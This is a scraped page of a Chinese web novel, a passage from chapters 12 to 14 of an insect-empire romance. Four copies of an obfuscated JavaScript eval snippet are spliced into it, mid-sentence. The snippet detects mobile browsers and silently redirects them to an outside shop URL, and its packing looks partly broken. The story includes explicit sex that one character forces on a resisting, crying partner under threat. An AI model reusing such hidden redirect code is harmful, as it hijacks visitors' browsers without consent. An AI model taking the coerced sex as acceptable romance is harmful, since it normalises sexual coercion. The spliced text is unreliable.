;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521303|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这世上的感情瞬息万变,不是你能掌控的,尤其是我这种被背叛过的雌虫。” 芬恩的心在阵阵发痛,只觉得泽费里诺的掌心灼得他脸上皮肤也开始发疼:“被一只雄虫背叛过,就不信任所有雄虫吗?” 泽费里诺另一只手捂住了后脖颈的腺体,仰头轻呼一口气:“我不会再结婚了,我只想要一只抚慰雄虫,听我的话,需要的时候就来,不需要的时候不用烦我,各取所需,相安无事。” 芬恩明白了,他推开了泽费里诺:“那您可能找错对象了,我需要的是一个能相守一辈子的伴侣,实在不行您放我出宫吧,您再找一个抚慰品,易如反掌。” 泽费里诺冷笑一声:“你以为我不想吗?可你知道在这皇宫,在我和虫皇没离婚的情况下,被监视着,找一只抚慰雄虫有多难?你是虫神赐予我的,虫神在救我,我怎能放你离去?” 芬恩:“……” 泽费里诺精神识海和体内都在被未知的力量反冲,他没有被永久标记过,之前摄取信息素进行临时标记有用,可现在没用了。 塞塔斯在他的果酿里加了不纯的雄虫信息素和粉碎的精神晶核,意在毁掉他的孕腔和精神识海。 如果进行过专一性的永久标记,那雄虫的信息素可以将他体内的不纯信息素冲出去。 塞塔斯就是认准了他没有被雄虫标记过才这样干,当真是好手段,这主意肯定是金发贵族艾维尔出的。 只有雌虫最了解雌虫。 可那对奸虫银虫又想错了,他不但不会有事,他还会得到最专一的雄虫信息素,没有精神力掺杂的雄虫信息素,那这样的话,任何雄虫精神力对他的冲击都没有用。 感觉到了雄虫的抗拒,泽费里诺又将他摁下去:“不管你愿不愿意,你今晚都难以走出我的寝殿,你若是不愿意给,那我就自己拿,再不快一点,过会儿虫皇来看我有没有崩溃,我俩还得给他演一场活|春|宫,到时候我肯定死不了,但你……我可就难以保证了。” 芬恩觉得黑发雌虫强人所难,眼神冷静温柔地看着他:“您准备逼我就范吗?” 泽费里诺俯身,两只手捧住他的脸颊,观察他精致的五官:“不听话的孩子,当然得接受惩罚,你挣扎也没用,在这个虫族的皇宫堡里,连我都频遭算计,你说你要是离开我,身份一被发现,会有什么下场呢?” 芬恩早知道这里的勾心斗角不适合他:“所以我让您放我回家,您是万虫心中的神,不能欺负我这个等级很低的雄虫,那不符合您的身份。” 泽费里诺唇角冷冷地勾起,修长的手指从芬恩嘴角喂进去,撑开雄虫的牙齿,看到里面作为虫的口器。 泽费里诺的唇再次覆上去:“就欺负你了,我不但要欺负你,我还要骑你的尾勾,把你占为己有,不愿意你就哭吧,在虫皇到来之前,我让你哭个够。” 12. 第 12 章 芬恩也没想到,自己从地球穿到星际虫族,成为低等雄虫的第一次会是这样的。 他知道自己无法对抗一个全新时代的制度,只想安安稳稳当只普通的雄虫,平平淡淡活下去,哪怕他对泽费里诺有什么见不得光的阴暗心思,始终不敢有非分之想。 可如今,他却被这只全虫族奉为瑰宝的铁血雌虫强取豪夺了,要问他什么心情,他觉得又意外又恐惧,这也昭示着他作为雄虫的生涯不会好了。 即使对这个世界的规则还不是很清楚,他也知道招惹上超级大佬后的下场会是什么,任何一个时代,阶级之间的矛盾始终无法消除,就像他这只低等雄虫和高等雌虫之间,相隔的何止是身份和地位。 泽费里诺为了活下去对他做这种事,可是他呢,他在心里实实在在喜欢这只雌虫,他是被泽费里诺掰弯的,短短几天而已,让一个地球来的钢铁直男,满脑子都是黑发雌虫。 甜蜜又痛苦,可他拒绝不了,也挣不脱雌虫的禁锢,对方的精神力将他直接锁死,动弹不得,任由黑发雌虫对他为所欲为。 芬恩只能眼睁睁看着自己被索求,羞于见虫的秘密尾勾被雌虫的信息素刺得不知该往哪里钻。 雌虫悦耳的嗓音充斥着暗哑和急切,给照明的机器虫发布了“关灯”指令,四周的帷幔将宽大床榻里面遮得严实,今天他刚换的印花黑色帷幔,让装饰水晶石的光也照不进来。 什么都看不见了,只能凭靠触觉,他甚至也不知道泽费里诺什么样,只是感觉到黑发雌虫的羽翼在床上散开。 整个过程里,芬恩的脑瓜子都比较混沌,他仿佛在做一场关于泽费里诺的美梦,等尾勾被强制索求时,他的思绪终于回炉,又开始大幅度挣扎。 他快哭了,雄虫温润的嗓音在黑暗中像引发洪水的毒药:“您这样做,让我俩都没有回头路了,您这是想让我死在这幽闭的皇宫,我会被虫皇碎尸万段。” 泽费里诺将衣物全部丢在一边,专心快速索取信息素,他也是第一次进行孕腔的信息素交流,并不比雄虫好多少,可雌虫生来就是被雄虫驾驭的,他很快就完成了这个高难度行为。 俯身去抱雄虫,摸到了他眼角的泪,泽费里诺咬着牙质问:“当我的抚慰雄虫委屈你了吗?除了婚姻,你要什么我都能给你,等我完成反击的一天,我自然会放你走,我会清除你体内属于我的精神力,我会去洗去我孕腔的标记,给你自由,你哭什么?” 芬恩的心更痛了:“您知道我想要的是什么,还说这些话,您不如现在就弄死我。” 芬恩怎么都想不明白,他不就是发育迟缓,测定性别出错,怎么就过成这个样子? 他虽然在哭,可身体却和他的想法背道而驰,泽费里诺也发现了,生气之后,又觉得这雄虫有点可爱。 他将芬恩从床上捞起来,让雄虫抱着自己:“哭的这么狠,尾勾却很诚实,不用我来,你自己就知道该怎么做,我知道你心里对我有爱意,那是因为我对你进行了精神识海的掠夺,等我把精神力收回,你就知道你根本不会爱我。” 芬恩在黑暗里摇头,他的双手摸到了泽费里诺的皮肤,以及背上羽翼散开的羽窍,顺着羽窍往翅膀上摸,摸到了比钢铁还坚不可摧的骨骼。 泽费里诺没被雄虫这么摸过羽翼,当初始的痛苦退去,剩下的只有受用和享受,但他今天没有那么多的时间去体会雄虫的美味,过会儿塞塔斯一定会来。 他得尽快得到雄虫信息素,浇灌他整个孕腔,然后锁住,将体内乱冲的精神力利用雄虫信息素冲出去。 芬恩感觉到他的翅膀在颤抖,本来还在哭的雄虫,又怕泽费里诺难受,哽着声音小声问:“很难受吗?” 泽费里诺深呼一口气:“没有,就是你不配合,让我有点难以驾驭。” 芬恩的心情坏透了,埋头在他胸口,闻到他身上香甜的信息素,终于还是没忍住去咬他的腺体:“你这雌虫怎么这样,都不管我愿不愿意,你让我以后怎么面对你?” 泽费里诺被双重信息素浇灌,颤栗更明显:“有什么不好面对?如果你愿意待在我身边,你可以服侍我一辈子。” 芬恩觉得不可能:“您是需要子嗣的,我等级太低,没有生育能力,您以后肯定会找强大的雄虫当伴侣,而我……” 想到这里芬恩有点心梗,不觉得咬疼了他。 泽费里诺被这疼痛一刺,仰头呼吸:“那也是几年后的事情了,至少目前我只有你。” 芬恩没回答,只觉得尾勾被绞着,作为处雄,真就敏到没话说。 几分钟就完事了。 泽费里诺一怔,倒也没有苛责他,这个特殊时期,越快越好。 很显然一次是不够的,紧接着又开始下一轮。 这次他让芬恩来,芬恩的心情很糟糕,但事情已经发生了,说什么都没用,既然无法让时间倒流,也无法逃脱,不如就反客为主。 他才是雄虫,泽费里诺多厉害,也只是在他身下婉转的雌虫。 哪怕一生仅有一次的合尾,他也要当黑发雌虫的雄主。 雄性的本能是天生的,尤其是这种时候,泽费里诺不用精神力的时候,也只是普通的雌虫,竟会被低级雄虫主宰。 虫族很多雄虫的尾勾在尖端带有钩子,也是为了锁死在雌虫的孕腔,芬恩作为雄虫,天性使然让他十分会利用自己的尾勾。 泽费里诺被勾住了,他甚至能感觉到雄虫的尾勾在乱搅。 痛感强烈。 时间不多了,他催促芬恩:“虫皇会来。” 芬恩这次特别久,他在使用他作为雄虫的权利:“他来不是更好,让他好好看看自己的妻虫,是怎么被其他雄虫用尾勾标记的。” 泽费里诺听到这句话后有片刻失语。 芬恩没听到他的回答,去咬他的唇:“难道不是吗?自己有老公,还勾引我,骑不到自己老公的尾勾,就骑我的,应该没有虫见过您这幅样子,您的虫皇老公也不例外。” 泽费里诺没想到这个时候会被低等雄虫羞辱,不觉来了脾气:“你能标记我,是虫神的恩赐,小小雄虫,还敢揶揄我?信不信我现在就能让你死啊?” 芬恩哭够了,也不想挣扎了,他又低头咬泽费里诺的胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521304|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:“是您需要我,您不会让我死的,我死了,您就真的得和虫皇闹翻,到时候您保不住家人,也保不住自己。” 泽费里诺:“……” 芬恩心情沉重:“我俩这种情况算什么?雌君,您告诉我,偷情在虫族的下场会是什么样的?” 泽费里诺当然知道下场如何,但他并不觉得这是自己的错:“全是塞塔斯逼我的,他要是没和艾维尔搞一起,非要让我死,我也不会对低级雄虫下手,如果不是他让我走到这一步,早就在发现你发育成雄虫之后,我就放你出宫了。” 芬恩不言不语,开始埋头苦作,泽费里诺不出声,他真的很想听听黑发雌虫的声音。 他想让泽费里诺叫他的名字,可雌虫就是不,芬恩的怒气和怨气共同发泄在雌虫身上,一只手抓着雌虫的翅膀恨不能折断,可他的力气太小。 十几分钟后,寝殿门被敲响,传来米安的声音:“帝后,虫皇在来的路上了。” 泽费里诺缓了缓,沉声道:“知道了,等他到大门口的时候,通知一声。” 米安应着:“是。” 可芬恩还不肯离开,泽费里诺推他:“你真想死?” 芬恩抱着他嗯一声:“我想和您死在床上。” 泽费里诺:“……” 屋内混杂着雌雄虫的信息素,不过雌虫信息素更浓郁,雄虫的信息素几乎被他吸收,不仔细闻的话,闻不出来。 但塞塔斯的五感比一般虫要发达,肯定会有所察觉。 泽费里诺使劲推开芬恩,可雄虫尾勾还在运作:“洛菲斯,你有点惹我生气了。” 芬恩不情不愿:“那您杀了我吧。” 泽费里诺:“……” 真没想到,之前唯唯诺诺,温顺可爱的侍从,今晚如此挑衅他。 芬恩确实心如死灰,但想了想,还是别害泽费里诺,他比谁都希望雌君好。 他再次提供大量信息素进行孕腔标记,雌虫利用精神力锁住,不让信息素外流,再全力冲击混杂在体内的不纯雄虫精神力和信息素。 果然专一性的标记比什么都有用,泽费里诺也没时间安慰芬恩,黑色双翼收回羽窍,慢慢消失,下床从保险柜里拿出一颗黑色晶核递给芬恩:“带在身上,不准离身。” 芬恩接过去:“这是什么?” 泽费里诺快速穿好自己的衣服:“我的精神力晶源体,带着它,我的精神力覆盖你全身,会隐藏你的尾勾。快些整理衣服回房。” 芬恩的衣服压根没怎么乱。 他快速收拾了床褥,再没停留,回了寝殿旁边的小房间,进去把门关起来,靠在门上,心情久久不能平复。 心脏每剧烈跳动一下,都觉得要升天。 他刚和泽费里诺干了些什么,天呐,他把帝国的雌君帝后给标记了! 而且虫皇已经在来捉奸的路上……他的小命好像保不住了。 他要怎么办?怎么才能逃离这里? 刚在想,米安的声音再次从寝宫外响起:“帝后,虫皇到门口了,带着一群亚雄侍卫来势汹汹,像是有大事发生!” 13. 第 13 章 塞塔斯到达泽费里诺的寝宫时,里面风平浪静,门口守着一只亚雌侍从,恭敬地匍匐在地恭迎他的到来:“帝后刚才感觉身体不适,告诫小的在此守着,不知陛下要来。” 塞塔斯刚结束宴会就直接过来了,银色长发上的虫皇王冠都没摘,穿着长袍礼服,一张脸虽然绝美,但实在难掩他的戾气。 他让亚雌和亚雄都在外等候,也不用亚雌通报,自己往里面走,悄无声息,刚进帝后寝宫的大门,就感应到了雌虫强烈的精神力。 帝后的寝宫在温特瑞亚皇宫的西南角,是独立的一座小城堡,塞塔斯送给他的独居寝宫。 泽费里诺住在第一层宽敞的大套房里,二层和三层的房间都是他收藏的私人物品,一般情况下只有最贴身的侍从才会和帝后住在一起。 塞塔斯疑惑,亚雌总管米安为何在殿外侍奉,那在殿内侍奉的亚雌会是谁? 他脚步很轻,穿过喷泉池走向内殿,大殿合金制作的精美双开门是关着的,里面的机器虫也没有开灯,他轻轻地推开厚重的大门,差点被强大的精神力冲出去。 也是这时,殿内的机器虫灯亮了,泽费里诺依旧穿着今天赴宴的白色军装礼服坐在床榻不远的凳子上,双腿交叠,修长的手指搭在把手上。 黑色长发被白色灯光照的五彩斑斓。 随着精神力冲来的还有浓郁的雌虫信息素,让塞塔斯压根无法去辨别这里面是否掺杂其它的东西。 他在门口站定,蹙了眉头,象征皇位镶满红宝石的皇冠在他头顶被灯光照的璀璨无比,映衬那张绝美的脸,更显优越。 泽费里诺唇角扬着一抹笑,脸颊两侧红潮未退,低沉嗓音碎玉般响起:“陛下这个时候来找我,是否知道我需要您?” 塞塔斯并未靠近他:“见你宴会没散就离开了,担心你的情况,过来看看。” 泽费里诺笑容和语气都带着自嘲:“我怎么了,陛下不是最清楚?我有时候觉得您做事不留余地,以前我还欺骗自己,您对我有情意,不至于让我输的地步,可今天我才发现自己错了。” 塞塔斯有点心虚:“我只是没有给你足够的关注,但帝后的这个位置还是给了你,在我们虫族,你是万虫之上的雌君,我对你不好吗?” 泽费里诺笑了声:“您对我可真好啊,在我的果酿里掺杂混合的雄虫信息素,不就是想要我的命吗?陛下要是觉得我这条命留着妨碍到您了,大可直接动手,没必要这么伤我的心。” 塞塔斯心里一痛,他也不知道为何,径直朝泽费里诺走过去:“我没有,什么雄虫信息素?” 泽费里诺阻止他的靠近:“不纯的信息素让我精神力紊乱,您也感觉到了,靠近我对您百害无一利,别过来。” 塞塔斯在他几米处停下,眼神阴沉:“不是我做的,不管你信不信,我没有想让你死。” 换成以前的泽费里诺,肯定会歇斯底里,但现在不会了,他的言语清清淡淡:“陛下喜爱军雌艾维尔,大可跟我离婚将他扶上后位,真的没必要这么害我,我已经把一切都交给您了,我原以为我们会有一个可爱的孩子,看来是我想多了。” 塞塔斯心里一紧:“我和艾维尔是清白的,你不可用你的猜忌来怀疑我。若不是你和我青梅竹马一起长大,这显然已经犯了死罪。” 泽费里诺一双黑眸静静地看着他:“既然陛下否认了,那如今我作为陛下合法的雌妻,被人陷害,体内混合了雄虫信息素,只有专一的孕腔标记才能救我,陛下会给我吗?” 泽费里诺说着就要起身往他身边走,塞塔斯的脚步往后晃了一下,镇定的神色也稍微改变:“我让侍从去叫宫廷御医,你且好生休息。” 泽费里诺刚站起来,不得不又坐回去,声音低落无奈:“您看,我十五岁就开始追您,二十三岁跟您结婚,以为得到了一切,原来什么用都没有。” 塞塔斯让他别说了:“你我都还年轻,这个年纪不适合要孩子,你也知道我踩着尸山血海才当了虫皇,就因为兄弟众多,才落了个众叛亲离的下场,我不希望的孩子走我的老路,等两年再说。” 泽费里诺闭了嘴,静静地看着他的背影,以前他会质问,会强求,但现在不会了。 塞塔斯走到殿门口,才又想起什么似的回头看泽费里诺:“为什么一个内侍都没有?米安在外面,那谁在里面伺候你?” 芬恩早就从走廊的另一个门出了寝殿,穿过喷泉池,走到了宫门口,米安跪在那里,身边一群亚雄带着武器,凶神恶煞。 米安示意他也跪下,芬恩跪在了米安旁边,其实他特别害怕虫皇发现他和帝后有一腿,所以走出来了。 米安小声问:“你和帝后在里面干什么?帝后的精神力都冲出宫门了。” 芬恩不可能告诉他,自己和帝后进行了专一性的孕腔标记,心如擂鼓,故作镇定:“帝后身体不舒服,我照顾他。” 米安也没发觉什么,只是芬恩给他的感觉很诡异:“你知不知道,我总觉得你不对劲,但哪里不对劲我又说不上来,帝后万金之躯,除了虫皇谁也不能觊觎,你只是亚雌,应该没有那个胆子,亚雌觊觎帝后是重罪。” 芬恩情绪表现的毫无波澜:“我什么身份我很清楚,作为帝后的内侍,我的职责只是照顾他的起居和衣食住行,其它的不敢妄想。” 米安点头:“这才对,帝后对你青眼有加,你别让他失望就行。” 芬恩心想,应该没让他失望吧,作为刚发育完全的雄虫,各种机能都还处于巅峰,哪怕没有精神力,也足够让雌虫招架。 除了第一次时间短,第二次标记时他明显感觉到雌君孕腔里层层叠叠的纠缠,似乎不想让他离去。 光想想尾勾就要吐露的程度。 芬恩没回答,轻轻呼吸,规矩地跪在那里,他有点担心泽费里诺,希望虫皇没发现什么才好。 过了会儿,虫皇从寝殿出来,吩咐米安去找御医:“帝后身体不适,请宫廷御医来看看,实时报备他的情况,我很在意他。” 米安赶紧应下起身:“是。” 芬恩跪着没动,塞塔斯从他身边走过,突然又顿住脚步:“刚才你好像不在这里?” 米安还没走远,替芬恩回了话:“那是帝后的新内侍,亚雌洛菲斯,陛下。” 塞塔斯低眼看着他一头银白的长发,心中的诡异感袭来,让他抬头:“亚雌?抬起头来我看看。” 芬恩的心悬在了嗓子眼,喉结动了好几下,不得不在寝宫门口的光线下对上塞塔斯的眼神。 塞塔斯看到他湖泊蓝的眸色时,心惊不已:“亚雌有这般长相?你为何……” 发色跟我一样,眼睛的颜色也相差无几? 塞塔斯被这个发现气到,咬了咬牙,让亚雄将这亚雌抓进殿门和泽费里诺对峙:“我倒要看看他怎么解释!” 芬恩吓坏了:“您息怒。” 塞塔斯息怒不了,泽费里诺这是想干什么?他还活着,就找了个替身是吗?! 一直不把黑发雌虫当回事的虫皇陛下,被一只长相不错的亚雌刺激到了,带着两只亚雄将芬恩抓进大殿,泽费里诺还气定神闲地坐在那里。 看到芬恩被抓进来,他的神色也没什么变化,只是微微挑眉,一双黑色琉璃折光似的眼瞳看了一眼芬恩,再看向塞塔斯:“您欺负我的侍从干什么?” 塞塔斯蓝宝石般的眼中酝酿着愤怒:“是我对你太好了?你真以为我看不出来他是雄虫?” 泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521305|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费里诺扬了扬下巴:“那您检查吧,当然了,我不否认把他留在殿内侍奉是因为想念您,他有和您一样的银色长发,和您一样的身高,眼睛,在您不来看我的日子里,我看着他,也算是看到了您。” 塞塔斯怒气更甚:“想我可以来找我,何必这样气我?” 泽费里诺笑容讥讽:“您公务繁忙,我哪敢找您啊,不和我过夫夫生活,也不跟我离婚,我都不知道您在想什么,现在又来为难我的亚雌侍从。” 塞塔斯低眼看着跪在地上的芬恩,俨然不信泽费里诺的说辞,他让亚雄检查侍从的尾勾:“要是检查出来是雄虫,你泽费里诺这辈子算是完了,你的名誉和成就将会毁在这只雄虫身上。” 芬恩不知所措,心脏要炸了,怎么办,被发现尾勾的话,他和泽费里诺都只有死路一条。 可雌君却岿然不动,坐在那里,一双眸无悲无喜地看着他。 两只亚雄将芬恩的侍从服装掀起,检查他的尾椎骨,发现那里平平整整,只有完整的皮肤,没发现雄虫尾勾。 塞塔斯不死心,自己用精神力检查了一番,没探出雄虫的特征,零精神力,他这才起身。 神色又变了,牵强地扬起一抹笑:“我只是担心你的声誉和加西亚家族的荣耀,我当然知道你不会做对不起我的事。” 泽费里诺冷笑一声:“陛下没必要跟我虚与委蛇了,我也想通了,这帝国的雌君,不做也罢,我给新人腾位置,您跟我离婚吧。” 塞塔斯严肃拒绝了他的提议:“如果是因为我没照顾到你的感受,那我跟你道歉,但离婚是不可能的,你知道的,这偌大的虫族,只有你泽费里诺配得上我。” 泽费里诺言语清淡,低眼看着自己的手指:“谬赞,陛下好好考虑吧,考虑好了告诉我一声,我随时跟您离婚。” 塞塔斯让他打消念头:“想跟我离婚,除非我死。” 泽费里诺终于变了神色,他抬眼,眼神冷淡阴婺地看向虫皇:“既然陛下不跟我离婚,那我要求陛下今晚跟我圆房,这个要求不过分吧?” 塞塔斯显然慌了,他在雌君眼里看不到以前的那种依赖和爱慕了。 真是可笑,这雌虫爱他的时候他没感觉,不爱他的时候他竟一眼能看出来。 可他是泽费里诺,不是一般的雌虫,不爱他,那就更不能留了。 夫夫俩对峙着,气氛诡谲,幸好米安叫来了御医,在外问能否进来。 虫皇借机离开:“你身体不适,先休息,等身体好了,我自会给你答案。” 示意御医进来,塞塔斯命令他照看好帝后,不然拿他是问,再没停留,走出了帝后寝殿。 芬恩跪在那里,被吓了一身冷汗,四肢发抖,浑身瘫软,还好泽费里诺给了他精神力晶源体,不然他今天小命就没了。 然而塞塔斯也想到了控制精神力的晶源体,强大的虫,在觉醒精神力之后,都会将初始能源汇聚成母晶核储藏起来,以防万一。 这样的话,就算以后精神力涣散,有母晶核存在,还是有恢复的可能。 如果让他拥有泽费里诺的能量晶源体,只要粉碎它,泽费里诺必死。 那是比身家性命更重要的东西,哪怕那只亚雌是雄虫伪装,也没本事让雌君冒险把晶源体给他。 毕竟雄虫没有精神力,能量会融入雄虫体内共生共存,雄虫若死,晶核破碎,雌虫精神力奔溃,必死无疑。 泽费里诺那么精明强大的雌虫,绝不会把比命重要的东西给一只雄虫。 这雌虫爱了他这么多年,他压根没见过这位雌君的母核晶源体。 赠予晶源体,等同于把命拴在雄虫身上了。 他的雌君不会那么蠢,看来是他想多了…… 14. 第 14 章 芬恩并不知道精神力晶源体的作用是什么,也不知道这东西有多重要,作为平民虫,能觉醒精神力的都上交给帝国了,原主受到的教育里对精神力也没什么特别的说明。 只有当兵的虫以及虫族帝国军校的学生才会接触这方面的知识,不然一般虫民的精神力根本不足以汇聚成母晶核用来储藏。 只有S级以上的虫才有这个能力。 芬恩也不知道那黑色的晶体已经不在他身上,而是化成了能量融入他的身体,也只有觉醒雄虫精神力之后,这属于雌虫的晶核才会再次汇聚成晶核被逼出体内。 如果雄虫一辈子不觉醒精神力,精神力的主体不把这份能量召回,那这晶核就会在雄虫体内存在一辈子,因为共享了精神力,故而共享者发生危难的话,精神力的主体会感知,并且通过母晶核释放能量,帮助共享者脱险。 这也是泽费里诺给雄虫芬恩上的保险,确保他在这个皇宫里能平安无事。 如果塞塔斯能跟他离婚,那他就可以提前带着雄虫离开皇宫,可他和塞塔斯这么多年的好友,怎会不知道这虫皇的脾性,要想和虫皇离婚,比登神还难。 他让低等雄虫标记了孕腔,也是算准了塞塔斯不会给他提供信息素,毕竟跟艾维尔军雌发生过孕腔的信息素交互,那这虫皇体内肯定有军雌的精神力和信息素,若贸然再和雌虫发生关系,会让雄虫生不如死。 就算塞塔斯想利用什么手段来留住他,也得和军雌艾维尔进行精神力和信息素的解绑,无论雌雄虫,那都要经历一个极其痛苦的过程,稍不注意,会毁掉雌虫的孕腔,继而精神力出问题。 而雄虫也差不多一个道理,塞塔斯不会这么轻易失去一只能力强大的军雌,但也不想放他离去。 泽费里诺心里明镜儿似的,这些年来哪有什么爱啊,只是忌惮他的家族,才表现出来的喜欢,等把他这只铁血雌虫的兵权全部削去,这位虫皇才暴露了真实的自己。 虫皇走了,米安带着御医走了进来,芬恩还跪在那里,看来给孩子吓得不轻。 泽费里诺轻声道:“你休息去吧,洛菲斯。” 芬恩这才回神,额前被他剪成狗啃的碎发都被汗水浸透,他微微匍匐在地,应了声:“是。” 芬恩努力站起来,稳住发抖的双腿,出了帝后的寝殿。 米安担忧道:“您没什么事吧?” 泽费里诺摆摆手,拒绝了御医的检查,只说:“开点稳固精神力的药剂就行,不用看了,回去吧。” 米安觉得不妥:“虫皇会责怪我们没照顾好你。” 孕腔里属于雄虫的信息素还在激烈冲撞他,任谁都想不到,端庄瑰丽的帝国雌君,刚才在面对自己的丈夫时,肚子里有其它雄虫浇灌的种子。 米安更是难以想象,只是一味地担心他:“帝后,让御医给您瞧一瞧。” 泽费里诺不耐烦地起身往浴室走:“我说了不用,米安你现在也不听指挥了,看来亚雌总管这个头衔你并不是很愿意要。” 米安被吓到,赶紧跪下求饶:“小的只是担心您的身体,并不是想僭越,您说没事就没事,我让御医回去。” 泽费里诺再没说什么,钻进了洗手间,再没出来。 芬恩回到房间许久,心脏差点被吓裂了,直到坐了半个小时后,才稍微平复心中的恐惧。 他真的得想办法离开这里了,不想死在这里,可是他这原身作为一只下等的雄虫,要什么没什么,合约还有三年,该怎么样才能短时间内离开? 他不知道,他感觉自己的命一直悬着,稍不注意就会粉身碎骨。 泽费里诺再没叫他,寝宫内风平浪静,芬恩在疲惫和恐惧中睡去,梦里都是被虫皇分尸的场景。 一觉睡醒时,正是早上,外面的光从玻璃窗照进来,他昨晚忘了拉帘子。 起身快速洗漱之后,他忙碌的一天又开始了。 昨晚发生了那种事,泽费里诺还像个没事人一样。 芬恩把他昨天穿过的白色军装叠整齐,准备用完早膳就去洗,给雌君准备了一套干净的西服套装。 看着雌君修长手指掀开帷幔,芬恩站在床边和他的视线对上,心脏只在顷刻便跳动如雷。 泽费里诺朝他一笑,低沉嗓音悦耳动听:“昨晚睡得可好?” 芬恩低头,控制不住自己的心动频率,不舍地收回自己的视线:“谢您关心,还好。” 泽费里诺穿衣服,芬恩转身去洗手间打水,看到了雌君昨晚放在浴室没拿出去的白色底裤。 泽费里诺的衣服都是他洗,包括底裤,平时这雌君的物品干干净净,不会残留任何东西,可今天却不同。 哪怕是白色,也能看出来上面残留的雄虫物质,还留有雄虫淡淡的信息素味。 芬恩脸色涨红,将白色底裤塞到自己侍从制服的裤兜,打了水去给雌君擦洗。 泽费里诺一大早不喜欢洗澡,都由他亲手擦洗,用过早膳后才会刷牙洗漱,芬恩好像已经习惯这样的生活。 真的不能和泽费里诺独处,皮肤的每一次触碰都带着让芬恩心虚烦乱的电流,他真的没救了,对泽费里诺真是生理性喜欢。 可哪怕多喜欢,他也有自知之明,泽费里诺只把他当成个抚慰雄虫,没有感情掺杂。 原来没有依靠,没有背景,连喜欢谁都无法自主,这就是等级制度严明的虫族。 每想一次心痛一次,芬恩索性不想了,他也希望自己对泽费里诺的感觉是由于精神力的控制,而不是作为一个直男的心动。 希望他离开这雌君的一天,才发现并没有喜欢吧。 泽费里诺内核真的强大,昨晚都那样了,命悬一线,他还能八风不动,芬恩莫名觉得他真的好酷。 或许不管人类还是任何生物,都会慕强,芬恩觉得自己也不例外,昨晚那种情况,但凡泽费里诺慌了,他俩都没有好下场。 看来即使当抚慰雄虫,在这位雌君身边,暂时还是比较安全的。 芬恩放下心来。 早膳是方便的各种营养剂,泽费里诺吃的不多,剩下的让芬恩自己装走。 反正这些营养剂他吃不完,放明天他又不吃,拿下去都会被亚雌侍从们分走,芬恩没分到过。 未来的日子还得靠芬恩,泽费里诺必然得对他好点,但芬恩不好意思拿。 泽费里诺神情冷淡,淡漠的黑眸睨着他:“拿走,这是命令。” 芬恩只得假装不情不愿地收走,其实心里又被这雌虫撩了一次。 真是个冷脸萌的雌君,不要一本正经地撩他这只没感情经验的雄虫,谁不知道给帝后雌君准备的营养剂都是最上等的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521306|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>全部归他了…… 用完早膳泽费里诺去二楼书房看书,二楼全是他收藏的价值斐然的字画,三楼则是各种古董名器,随便拎出来一件,价值连城。 他让芬恩半小时后给他奉茶上来,他会口渴,芬恩答应着。 米安见早上的营养剂全部给芬恩了,心里不爽快,想从芬恩那里捞点好处。 芬恩也是个懂事的,给了米安两瓶,剩下的自己收起来。 米安满意了:“以后我俩一起侍奉帝后,好处自然得分享,我也好罩着你。” 芬恩笑了笑,没回答,在他没被泽费里诺重用时,米安和那些亚雌一样瞧不起他。 可现在,又巴巴地贴上来,所以说这权利和财富无论在哪个时代,都是主流。 只可惜,这权利和财富他无福消受,他更希望平安走过这一生,看能不能还回到属于他的文明时代。 他掐着点,给雌君泡好茶,晾到温热,正准备往楼上端茶,突然有侍从来报:“过会儿虫皇议事完毕要过来用膳,想要帝后陪他吃点麻烦的料理,让厨房准备。” 米安应下:“好,我知道了。”转头又告诉芬恩,“你端茶上去告诉雌君一声,虫皇要过来。” 芬恩点了点头,端着一杯热茶走上二楼,泽费里诺的书房在最边上,他穿过走廊,停在门口,深呼吸缓解一下自己的紧张感:“帝后,您的茶好了。” 泽费里诺让他进去,芬恩便推开了房门,心无旁骛地跪在地毯上,将温茶放在黑色雕花的茶几上。 书房里挂满很多复古的名画,装扮很像地球的欧式。 泽费里诺的红底黑面的皮鞋近在眼前。 他坐在室内的黑皮沙发上,长腿交叠,一身黑色西服,黑色长发顺滑地披散,高挺的鼻梁上挂着一副金丝眼镜。 